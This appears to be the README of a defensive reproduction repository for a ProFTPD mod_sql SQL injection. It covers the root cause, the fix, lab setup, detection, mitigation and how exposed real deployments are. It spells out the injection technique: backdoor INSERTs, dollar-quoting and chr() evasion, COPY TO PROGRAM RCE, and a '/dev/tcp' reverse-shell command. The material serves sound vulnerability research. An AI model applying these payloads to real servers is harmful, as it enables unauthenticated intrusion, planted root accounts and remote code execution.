1. Root cause — is_escaped_text() heuristic in contrib/mod_sql.c

mod_sql resolves logging format variables (%U, %{basename}, etc.) and appends each piece into the rendered SQL via sql_resolved_append_text(). To preserve backwards compatibility with admin configs that already wrap variables in '…', the function calls is_escaped_text() to decide whether sql_escapestring is needed:

The check is purely structural — it cannot distinguish "already escaped by trusted code" from "crafted by an attacker to look already escaped." Any client-supplied value matching '<no-internal-quotes>' skips sql_escapestring and is concatenated raw into the final query.

The standard, documented config wraps %U / %{basename} / %m in single quotes:

When the attacker sends USER '<payload>' (start- and end-quote, no internal quotes), the resolver substitutes %U unescaped, producing ''<payload>'' in the SQL — the empty string literals close the surrounding quotes and <payload> runs as raw SQL. With PostgreSQL (PQexec) and SQLite (sqlite3_exec), stacked queries are supported, so <payload> can be any sequence of statements.

Because SQLLog ERR_* fires on failed logins and %U is set from USER before authentication, the attack is fully unauthenticated.

The fix (commit e6f728481, "Issue #2052")

sql_resolved_append_text() gains an already_escaped parameter. Callers that resolve values from client input pass FALSE and now go through sql_escapestring unconditionally — the is_escaped_text() heuristic is still applied for the legitimate "config has pre-escaped value" path but no longer applies to attacker-controlled data.

2. Lab environment

• Both containers stand up via setup/docker-compose.yml.
• setup/proftpd.conf enables the vulnerable logging config (see §1).
• setup/seed.sql creates users, groups, activity_log, xfer_log, and secrets, plus a single legitimate FTP user ftpuser / ftppass.

3. Reproduction — copy/paste

Prerequisites: Docker Desktop, Python 3.10+, git. (uv is optional; the PoCs are stdlib-only.)

The two interactive variants in the upstream repo (preauth_user_rce.py, postauth_stor_rce.py) are unmodified and pop a PTY-backed reverse shell. They use the same primitive as the marker variant — just substitute the shell command for bash -i >& /dev/tcp/<host>/<port> 0>&1 and listen on <port> first.

4. The payloads, byte-for-byte

Pre-auth backdoor (USER command, %U)

Why it works:

1. The outer quotes + no internal quotes match is_escaped_text() → escape skipped.
2. The configured SQLNamedQuery is INSERT "'%U', '%r', '%m'" activity_log, so the rendered SQL becomes INSERT INTO activity_log VALUES('<payload>', '<%r>', '<%m>') — but <payload> itself starts with ', so the effective query is INSERT INTO activity_log VALUES('', null, null); INSERT INTO users VALUES($$backdoor$$,…); --', '<%r>', '<%m>').
3. -- comments out the trailing format slots.
4. $$…$$ PostgreSQL dollar-quoting lets us pass strings (backdoor, pwned123, /, /bin/bash) without ever using ' — preserving the is_escaped_text() bypass.
5. SQLLog ERR_* fires on the failed login → PQexec() runs the stacked INSERT INTO users → backdoor account exists in the auth table.

Post-auth backdoor (STOR filename, %{basename})

Same bypass, different trigger. chr(47) = '/' is used because / in a filename is interpreted as a directory separator by FTP, so the attacker can't put a literal / in the filename — chr() lets the backdoor account get homedir = '/' without sending one over the wire.

Pre-auth RCE (USER + COPY TO PROGRAM)

Where <shell-cmd> is any command. PostgreSQL runs it through /bin/sh on the database host as the postgres OS user. Requires the DB role used by mod_sql to be a superuser (or member of pg_execute_server_program) — common in single-tenant deployments and the default for the official postgres Docker image when the role is created via POSTGRES_USER.

5. Evidence captured during reproduction

The trace log line is the smoking gun:

That message is emitted at contrib/mod_sql.c:791 only when is_escaped_text() returned TRUE — i.e. exactly the bypass.

6. Detection / mitigation

Detection (forensics on a deployed server):

• grep "is already escaped, skipping escaping it again" /var/log/proftpd/trace.log with Trace sql:17 enabled flags every injection attempt that reached the bypass.
• Audit activity_log (or whichever table SQLNamedQuery INSERT writes into): rows where the username column starts with a stray quote, contains null, null);, or contains INSERT/COPY TO PROGRAM/UPDATE are evidence.
• Audit the users table for accounts with uid=0, homedir='/', or shell set to a real shell when the policy is to use /sbin/nologin.

Mitigation:

• Upgrade ProFTPD ≥ 1.3.9a / 1.3.10rc1 (commit e6f728481).
• Compensating control if upgrade is not yet possible: drop attacker- controllable variables from SQLNamedQuery format strings (replace '%U' with the safer %U only inside parameterised backends, or use plaintext file-based logging for failed logins).
• Defence-in-depth: ensure the mod_sql PostgreSQL role is not a superuser — that alone removes the COPY TO PROGRAM RCE path (the auth bypass via stacked INSERT INTO users still works, but the blast radius is contained to the proftpd database).

7. File map for this repository

8. Is this realistic — or a contrived edge case?

The honest answer: narrower than a "send-one-packet-and-own-the-server" worm, but the vulnerable pattern is in ProFTPD's own documentation, so it's not contrived. Three independent dimensions decide whether a given deployment is hit, and each one whittles down the population.

8.1 Is mod_sql even loaded?

mod_sql is opt-in. It's not in the default ProFTPD build and not in the default config of distro packages like Debian's proftpd-basic. You only have it if:

• You compiled with --with-modules=mod_sql:mod_sql_<backend>, or
• You installed a backend-specific package: Debian proftpd-mod-pgsql / proftpd-mod-mysql / proftpd-mod-sqlite, RHEL proftpd-postgresql / proftpd-mysql.

People install those packages for a clear reason: SQL-backed authentication (users in a DB instead of /etc/passwd) or SQL-backed activity logging for audit. Both are common in shared-hosting, managed-FTP, and corporate FTP-drop deployments. So mod_sql is a real chunk of the install base — just not "every server."

8.2 Is the vulnerable SQLNamedQuery pattern actually used?

This is where realism is highest. The pattern that triggers the bug is the documented one. Examples lifted directly from the upstream tree at the pinned vulnerable commit:

Every one wraps an attacker-controlled variable (%u, %r) in single quotes — exactly the shape is_escaped_text() mis-classifies. An admin who copy-pastes from the upstream docs inherits the vulnerable pattern. That's the headline reason to take this seriously.

8.3 Pre-auth vs post-auth

The fully-unauthenticated path (USER + %U + SQLLog ERR_*) is the narrowest case. It requires all three:

• A SQLNamedQuery interpolating %U (original-username, set even on failed login) inside single quotes — less common than %u in real configs, since most admins want the successful username for audit and use %u.
• A SQLLog directive that fires before authentication. SQLLog ERR_* is the canonical wildcard for that. SQLLog PASS … and SQLLog STOR … (the most common forms) do not.
• A backend that supports stacked queries (PostgreSQL or SQLite — see §8.4).

If the config uses %u rather than %U, the same bug still produces auth-bypass — but only post-auth, i.e. the attacker first needs any working credentials before they can plant a uid=0 backdoor. In most real configs this is the realistic exposure: low-privilege FTP user → root- equivalent FTP user via one upload.

8.4 Backend matters a lot

The bypass fires identically on every backend, but what the attacker can do differs sharply:

PostgreSQL or SQLite ⇒ full impact. MySQL ⇒ data leakage / time-based blind only. MySQL is by far the most common backend for shared hosting (cPanel, Plesk, ISPConfig all default to it); PostgreSQL is more common in custom enterprise builds. Both populations are non-trivial.

8.5 RCE has its own gate

The headline COPY TO PROGRAM RCE additionally requires the mod_sql PostgreSQL role to be a superuser (or a member of pg_execute_server_program). That's:

• Common when the DB was created with the official postgres Docker image's POSTGRES_USER env var (the default for most PoC labs and many appliance images, including this repo's setup/).
• Common when ProFTPD owns its own DB instance (single-tenant deployments, hosted appliance images).
• Less common when DBA-led provisioning created the role with least-privilege.

If the role is not a superuser, you still get the auth-bypass primitive (itself critical), but the OS-level RCE on the DB host disappears.

9. Putting it together — who is realistically exposed

10. Recommendation

For anyone running ProFTPD mod_sql:

• Upgrade to ≥ 1.3.9a regardless. It's the only complete fix.
• Compensating controls until you can patch:
  • Drop the DB role to non-superuser — kills the RCE branch on PostgreSQL.
  • Audit your users / auth table for stray uid=0 rows or recently- added accounts — see §6.
  • Enable Trace sql:17 and grep is already escaped, skipping escaping it again in trace.log — that line is direct evidence of an attempted bypass.
  • If feasible, drop SQLLog ERR_* directives and any SQLNamedQuery INSERT formats that interpolate %U (the pre-auth primitive). The post-auth path will still exist via %u / %{basename}, but you remove the worst case.

11. Bottom line

• This is not a "default install vulnerability" — you have to be running mod_sql.
• It is a "follow-the-docs vulnerability" — the dangerous quoting pattern is the official one, copy-pasted across the upstream HOWTOs.
• The fully unauthenticated scenario from the headline is real but requires a specific (pre-auth %U + SQLLog ERR_* wildcard) config combo that is less common than the post-auth path.
• The post-auth privilege escalation scenario (any FTP user → uid=0 FTP backdoor) is the much more realistic one and applies to a large fraction of mod_sql + PostgreSQL/SQLite deployments using the documented logging patterns.
• The OS-level RCE on the DB host is gated on the DB role being a superuser — common in single-tenant / appliance-style setups, less common in DBA-managed environments.

Credits

• Vulnerability discovered and originally disclosed by ZeroPath Research.
• Public PoC repository: ZeroPathAI/proftpd-CVE-2026-42167-poc.
• Fix by TJ Saunders, commit e6f72848 ("Issue #2052").

This repository is independent reproduction and analysis for defensive research and education. No 0-day. Use only on systems you are authorised to test.